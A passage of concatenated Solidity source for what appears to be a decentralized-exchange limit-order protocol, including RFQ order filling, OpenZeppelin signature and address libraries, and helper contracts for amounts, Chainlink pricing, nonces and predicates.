revert("LOP: only one amount should be 0");
} else if (takingAmount == 0) {
uint256 requestedMakingAmount = makingAmount;
if (makingAmount > remainingMakerAmount) {
makingAmount = remainingMakerAmount;
}
takingAmount = _callGetter(order.getTakerAmount, order.makingAmount, makingAmount);
// check that actual rate is not worse than what was expected
// takingAmount / makingAmount <= thresholdAmount / requestedMakingAmount
require(takingAmount * requestedMakingAmount <= thresholdAmount * makingAmount, "LOP: taking amount too high");
} else {
uint256 requestedTakingAmount = takingAmount;
makingAmount = _callGetter(order.getMakerAmount, order.takingAmount, takingAmount);
if (makingAmount > remainingMakerAmount) {
makingAmount = remainingMakerAmount;
takingAmount = _callGetter(order.getTakerAmount, order.makingAmount, makingAmount);
}
// check that actual rate is not worse than what was expected
// makingAmount / takingAmount >= thresholdAmount / requestedTakingAmount
require(makingAmount * requestedTakingAmount >= thresholdAmount * takingAmount, "LOP: making amount too low");
}
require(makingAmount > 0 && takingAmount > 0, "LOP: can't swap 0 amount");
// Update remaining amount in storage
unchecked {
remainingMakerAmount = remainingMakerAmount - makingAmount;
_remaining[orderHash] = remainingMakerAmount + 1;
}
emit OrderFilled(msg.sender, orderHash, remainingMakerAmount);
}
// Taker => Maker
_makeCall(
order.takerAsset,
abi.encodePacked(
IERC20.transferFrom.selector,
uint256(uint160(msg.sender)),
uint256(uint160(order.receiver == address(0) ? order.maker : order.receiver)),
takingAmount,
order.takerAssetData
)
);
// Maker can handle funds interactively
if (order.interaction.length >= 20) {
// proceed only if interaction length is enough to store address
(address interactionTarget, bytes memory interactionData) = order.interaction.decodeTargetAndCalldata();
InteractiveNotificationReceiver(interactionTarget).notifyFillOrder(
msg.sender, order.makerAsset, order.takerAsset, makingAmount, takingAmount, interactionData
);
}
// Maker => Taker
_makeCall(
order.makerAsset,
abi.encodePacked(
IERC20.transferFrom.selector,
uint256(uint160(order.maker)),
uint256(uint160(target)),
makingAmount,
order.makerAssetData
)
);
return (makingAmount, takingAmount);
}
/// @notice Checks order predicate
function checkPredicate(Order memory order) public view returns(bool) {
bytes memory result = address(this).functionStaticCall(order.predicate, "LOP: predicate call failed");
require(result.length == 32, "LOP: invalid predicate return");
return result.decodeBool();
}
function hashOrder(Order memory order) public view returns(bytes32) {
StaticOrder memory staticOrder;
assembly { // solhint-disable-line no-inline-assembly
staticOrder := order
}
return _hashTypedDataV4(
keccak256(
abi.encode(
LIMIT_ORDER_TYPEHASH,
staticOrder,
keccak256(order.makerAssetData),
keccak256(order.takerAssetData),
keccak256(order.getMakerAmount),
keccak256(order.getTakerAmount),
keccak256(order.predicate),
keccak256(order.permit),
keccak256(order.interaction)
)
)
);
}
function _makeCall(address asset, bytes memory assetData) private {
bytes memory result = asset.functionCall(assetData, "LOP: asset.call failed");
if (result.length > 0) {
require(result.length == 32 && result.decodeBool(), "LOP: asset.call bad result");
}
}
function _callGetter(bytes memory getter, uint256 orderAmount, uint256 amount) private view returns(uint256) {
if (getter.length == 0) {
// On empty getter calldata only exact amount is allowed
require(amount == orderAmount, "LOP: wrong amount");
return orderAmount;
} else {
bytes memory result = address(this).functionStaticCall(abi.encodePacked(getter, amount), "LOP: getAmount call failed");
require(result.length == 32, "LOP: invalid getAmount return");
return result.decodeUint256();
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
import "@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol";
import "@openzeppelin/contracts/utils/cryptography/SignatureChecker.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./helpers/AmountCalculator.sol";
import "./libraries/Permitable.sol";
/// @title RFQ Limit Order mixin
abstract contract OrderRFQMixin is EIP712, AmountCalculator, Permitable {
using SafeERC20 for IERC20;
/// @notice Emitted when RFQ gets filled
event OrderFilledRFQ(
bytes32 orderHash,
uint256 makingAmount
);
struct OrderRFQ {
uint256 info; // lowest 64 bits is the order id, next 64 bits is the expiration timestamp
IERC20 makerAsset;
IERC20 takerAsset;
address maker;
address allowedSender; // equals to Zero address on public orders
uint256 makingAmount;
uint256 takingAmount;
}
bytes32 constant public LIMIT_ORDER_RFQ_TYPEHASH = keccak256(
"OrderRFQ(uint256 info,address makerAsset,address takerAsset,address maker,address allowedSender,uint256 makingAmount,uint256 takingAmount)"
);
mapping(address => mapping(uint256 => uint256)) private _invalidator;
/// @notice Returns bitmask for double-spend invalidators based on lowest byte of order.info and filled quotes
/// @return Result Each bit represents whether corresponding was already invalidated
function invalidatorForOrderRFQ(address maker, uint256 slot) external view returns(uint256) {
return _invalidator[maker][slot];
}
/// @notice Cancels order's quote
function cancelOrderRFQ(uint256 orderInfo) external {
_invalidateOrder(msg.sender, orderInfo);
}
/// @notice Fills order's quote, fully or partially (whichever is possible)
/// @param order Order quote to fill
/// @param signature Signature to confirm quote ownership
/// @param makingAmount Making amount
/// @param takingAmount Taking amount
function fillOrderRFQ(
OrderRFQ memory order,
bytes calldata signature,
uint256 makingAmount,
uint256 takingAmount
) external returns(uint256, uint256) {
return fillOrderRFQTo(order, signature, makingAmount, takingAmount, msg.sender);
}
/// @notice Fills Same as `fillOrderRFQ` but calls permit first,
/// allowing to approve token spending and make a swap in one transaction.
/// Also allows to specify funds destination instead of `msg.sender`
/// @param order Order quote to fill
/// @param signature Signature to confirm quote ownership
/// @param makingAmount Making amount
/// @param takingAmount Taking amount
/// @param target Address that will receive swap funds
/// @param permit Should consist of abiencoded token address and encoded `IERC20Permit.permit` call.
/// @dev See tests for examples
function fillOrderRFQToWithPermit(
OrderRFQ memory order,
bytes calldata signature,
uint256 makingAmount,
uint256 takingAmount,
address target,
bytes calldata permit
) external returns(uint256, uint256) {
_permit(address(order.takerAsset), permit);
return fillOrderRFQTo(order, signature, makingAmount, takingAmount, target);
}
/// @notice Same as `fillOrderRFQ` but allows to specify funds destination instead of `msg.sender`
/// @param order Order quote to fill
/// @param signature Signature to confirm quote ownership
/// @param makingAmount Making amount
/// @param takingAmount Taking amount
/// @param target Address that will receive swap funds
function fillOrderRFQTo(
OrderRFQ memory order,
bytes calldata signature,
uint256 makingAmount,
uint256 takingAmount,
address target
) public returns(uint256, uint256) {
require(target != address(0), "LOP: zero target is forbidden");
address maker = order.maker;
// Validate order
require(order.allowedSender == address(0) || order.allowedSender == msg.sender, "LOP: private order");
bytes32 orderHash = _hashTypedDataV4(keccak256(abi.encode(LIMIT_ORDER_RFQ_TYPEHASH, order)));
require(SignatureChecker.isValidSignatureNow(maker, orderHash, signature), "LOP: bad signature");
{ // Stack too deep
uint256 info = order.info;
// Check time expiration
uint256 expiration = uint128(info) >> 64;
require(expiration == 0 || block.timestamp <= expiration, "LOP: order expired"); // solhint-disable-line not-rely-on-time
_invalidateOrder(maker, info);
}
{ // stack too deep
uint256 orderMakingAmount = order.makingAmount;
uint256 orderTakingAmount = order.takingAmount;
// Compute partial fill if needed
if (takingAmount == 0 && makingAmount == 0) {
// Two zeros means whole order
makingAmount = orderMakingAmount;
takingAmount = orderTakingAmount;
}
else if (takingAmount == 0) {
require(makingAmount <= orderMakingAmount, "LOP: making amount exceeded");
takingAmount = getTakerAmount(orderMakingAmount, orderTakingAmount, makingAmount);
}
else if (makingAmount == 0) {
require(takingAmount <= orderTakingAmount, "LOP: taking amount exceeded");
makingAmount = getMakerAmount(orderMakingAmount, orderTakingAmount, takingAmount);
}
else {
revert("LOP: both amounts are non-zero");
}
}
require(makingAmount > 0 && takingAmount > 0, "LOP: can't swap 0 amount");
// Maker => Taker, Taker => Maker
order.makerAsset.safeTransferFrom(maker, target, makingAmount);
order.takerAsset.safeTransferFrom(msg.sender, maker, takingAmount);
emit OrderFilledRFQ(orderHash, makingAmount);
return (makingAmount, takingAmount);
}
function _invalidateOrder(address maker, uint256 orderInfo) private {
uint256 invalidatorSlot = uint64(orderInfo) >> 8;
uint256 invalidatorBit = 1 << uint8(orderInfo);
mapping(uint256 => uint256) storage invalidatorStorage = _invalidator[maker];
uint256 invalidator = invalidatorStorage[invalidatorSlot];
require(invalidator & invalidatorBit == 0, "LOP: invalidated order");
invalidatorStorage[invalidatorSlot] = invalidator | invalidatorBit;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ECDSA.sol";
import "../Address.sol";
import "../../interfaces/IERC1271.sol";
/**
* @dev Signature verification helper: Provide a single mechanism to verify both private-key (EOA) ECDSA signature and
* ERC1271 contract sigantures. Using this instead of ECDSA.recover in your contract will make them compatible with
* smart contract wallets such as Argent and Gnosis.
*
* Note: unlike ECDSA signatures, contract signature's are revocable, and the outcome of this function can thus change
* through time. It could return true at block N and false at block N+1 (or the opposite).
*
* _Available since v4.1._
*/
library SignatureChecker {
function isValidSignatureNow(
address signer,
bytes32 hash,
bytes memory signature
) internal view returns (bool) {
(address recovered, ECDSA.RecoverError error) = ECDSA.tryRecover(hash, signature);
if (error == ECDSA.RecoverError.NoError && recovered == signer) {
return true;
}
(bool success, bytes memory result) = signer.staticcall(
abi.encodeWithSelector(IERC1271.isValidSignature.selector, hash, signature)
);
return (success && result.length == 32 && abi.decode(result, (bytes4)) == IERC1271.isValidSignature.selector);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
pragma abicoder v1;
import "@openzeppelin/contracts/utils/Address.sol";
/// @title A helper contract for calculations related to order amounts
contract AmountCalculator {
using Address for address;
/// @notice Calculates maker amount
/// @return Result Floored maker amount
function getMakerAmount(uint256 orderMakerAmount, uint256 orderTakerAmount, uint256 swapTakerAmount) public pure returns(uint256) {
return swapTakerAmount * orderMakerAmount / orderTakerAmount;
}
/// @notice Calculates taker amount
/// @return Result Ceiled taker amount
function getTakerAmount(uint256 orderMakerAmount, uint256 orderTakerAmount, uint256 swapMakerAmount) public pure returns(uint256) {
return (swapMakerAmount * orderTakerAmount + orderMakerAmount - 1) / orderMakerAmount;
}
/// @notice Performs an arbitrary call to target with data
/// @return Result Bytes transmuted to uint256
function arbitraryStaticCall(address target, bytes memory data) external view returns(uint256) {
(bytes memory result) = target.functionStaticCall(data, "AC: arbitraryStaticCall");
return abi.decode(result, (uint256));
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
pragma abicoder v1;
import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";
import "@openzeppelin/contracts/utils/math/SafeCast.sol";
/// @title A helper contract for interactions with https://docs.chain.link
contract ChainlinkCalculator {
using SafeCast for int256;
uint256 private constant _SPREAD_DENOMINATOR = 1e9;
uint256 private constant _ORACLE_EXPIRATION_TIME = 30 minutes;
uint256 private constant _INVERSE_MASK = 1 << 255;
/// @notice Calculates price of token relative to oracle unit (ETH or USD)
/// @param inverseAndSpread concatenated inverse flag and spread.
/// Lowest 254 bits specify spread amount. Spread is scaled by 1e9, i.e. 101% = 1.01e9, 99% = 0.99e9.
/// Highest bit is set when oracle price should be inverted,
/// e.g. for DAI-ETH oracle, inverse=false means that we request DAI price in ETH
/// and inverse=true means that we request ETH price in DAI
/// @return Amount * spread * oracle price
function singlePrice(AggregatorV3Interface oracle, uint256 inverseAndSpread, uint256 amount) external view returns(uint256) {
(, int256 latestAnswer,, uint256 latestTimestamp,) = oracle.latestRoundData();
// solhint-disable-next-line not-rely-on-time
require(latestTimestamp + _ORACLE_EXPIRATION_TIME > block.timestamp, "CC: stale data");
bool inverse = inverseAndSpread & _INVERSE_MASK > 0;
uint256 spread = inverseAndSpread & (~_INVERSE_MASK);
if (inverse) {
return amount * spread * (10 ** oracle.decimals()) / latestAnswer.toUint256() / _SPREAD_DENOMINATOR;
} else {
return amount * spread * latestAnswer.toUint256() / (10 ** oracle.decimals()) / _SPREAD_DENOMINATOR;
}
}
/// @notice Calculates price of token A relative to token B. Note that order is important
/// @return Result Token A relative price times amount
function doublePrice(AggregatorV3Interface oracle1, AggregatorV3Interface oracle2, uint256 spread, uint256 amount) external view returns(uint256) {
require(oracle1.decimals() == oracle2.decimals(), "CC: oracle decimals don't match");
(, int256 latestAnswer1,, uint256 latestTimestamp1,) = oracle1.latestRoundData();
(, int256 latestAnswer2,, uint256 latestTimestamp2,) = oracle2.latestRoundData();
// solhint-disable-next-line not-rely-on-time
require(latestTimestamp1 + _ORACLE_EXPIRATION_TIME > block.timestamp, "CC: stale data O1");
// solhint-disable-next-line not-rely-on-time
require(latestTimestamp2 + _ORACLE_EXPIRATION_TIME > block.timestamp, "CC: stale data O2");
return amount * spread * latestAnswer1.toUint256() / latestAnswer2.toUint256() / _SPREAD_DENOMINATOR;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
pragma abicoder v1;
/// @title A helper contract for managing nonce of tx sender
contract NonceManager {
event NonceIncreased(address indexed maker, uint256 newNonce);
mapping(address => uint256) public nonce;
/// @notice Advances nonce by one
function increaseNonce() external {
advanceNonce(1);
}
/// @notice Advances nonce by specified amount
function advanceNonce(uint8 amount) public {
uint256 newNonce = nonce[msg.sender] + amount;
nonce[msg.sender] = newNonce;
emit NonceIncreased(msg.sender, newNonce);
}
/// @notice Checks if `makerAddress` has specified `makerNonce`
/// @return Result True if `makerAddress` has specified nonce. Otherwise, false
function nonceEquals(address makerAddress, uint256 makerNonce) external view returns(bool) {
return nonce[makerAddress] == makerNonce;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
import "@openzeppelin/contracts/utils/Address.sol";
/// @title A helper contract for executing boolean functions on arbitrary target call results
contract PredicateHelper {
using Address for address;
/// @notice Calls every target with corresponding data
/// @return Result True if call to any target returned True. Otherwise, false
function or(address[] calldata targets, bytes[] calldata data) external view returns(bool) {
require(targets.length == data.length, "PH: input array size mismatch");
for (uint256 i = 0; i < targets.length; i++) {
bytes memory result = targets[i].functionStaticCall(data[i], "PH: 'or' subcall failed");
require(result.length == 32, "PH: invalid call result");
if (abi.decode(result, (bool))) {
return true;
}
}
return false;
}
/// @notice Calls every target with corresponding data
/// @return Result True if calls to all targets returned True. Otherwise, false
function and(address[] calldata targets, bytes[] calldata data) external view returns(bool) {
require(targets.length == data.length, "PH: input array size mismatch");
for (uint256 i = 0; i < targets.length; i++) {
bytes memory result = targets[i].functionStaticCall(data[i], "PH: 'and' subcall failed");
require(result.length == 32, "PH: invalid call result");
if (!abi.decode(result, (bool))) {
return false;
}
}
return true;
}
/// @notice Calls target with specified data and tests if it's equal to the value
/// @param value Value to test
/// @return Result True if call to target returns the same value as `value`. Otherwise, false
function eq(uint256 value, address target, bytes memory data) external view returns(bool) {
bytes memory result = target.functionStaticCall(data, "PH: eq");
require(result.length == 32, "PH: invalid call result");
return abi.decode(result, (uint256)) == value;
}
/// @notice Calls target with specified data and tests if it's lower than value
/// @param value Value to test
/// @return Result True if call to target returns value which is lower than `value`. Otherwise, false
function lt(uint256 value, address target, bytes memory data) external view returns(bool) {
bytes memory result = target.functionStaticCall(data, "PH: lt");
require(result.length == 32, "PH: invalid call result");
return abi.decode(result, (uint256)) < value;
}
/// @notice Calls target with specified data and tests if it's bigger than value
/// @param value Value to test
/// @return Result True if call to target returns value which is bigger than `value`. Otherwise, false
function gt(uint256 value, address target, bytes memory data) external view returns(bool) {
bytes memory result = target.functionStaticCall(data, "PH: gt");
require(result.length == 32, "PH: invalid call result");
return abi.decode(result, (uint256)) > value;
}
/// @notice Checks passed time against block timestamp
/// @return Result True if current block timestamp is lower than `time`. Otherwise, false
function timestampBelow(uint256 time) external view returns(bool) {
return block.timestamp < time; // solhint-disable-line not-rely-on-time
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
pragma abicoder v1;
/// @title Interface for interactor which acts between `maker => taker` and `taker => maker` transfers.
interface InteractiveNotificationReceiver {
/// @notice Callback method that gets called after taker transferred funds to maker but before
/// the opposite transfer happened
function notifyFillOrder(
address taker,
address makerAsset,
address takerAsset,
uint256 makingAmount,
uint256 takingAmount,
bytes memory interactiveData
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
pragma abicoder v1;
/// @title Library with gas efficient alternatives to `abi.decode`
library ArgumentsDecoder {
function decodeUint256(bytes memory data) internal pure returns(uint256) {
uint256 value;
assembly { // solhint-disable-line no-inline-assembly
value := mload(add(data, 0x20))
}
return value;
}
function decodeBool(bytes memory data) internal pure returns(bool) {
bool value;
assembly { // solhint-disable-line no-inline-assembly
value := eq(mload(add(data, 0x20)), 1)
}
return value;
}
function decodeTargetAndCalldata(bytes memory data) internal pure returns(address, bytes memory) {
address target;
bytes memory args;
assembly { // solhint-disable-line no-inline-assembly
target := mload(add(data, 0x14))
args := add(data, 0x14)
mstore(args, sub(mload(data), 0x14))
}
return (target, args);
}
function decodeTargetAndData(bytes calldata data) internal pure returns(address, bytes calldata) {
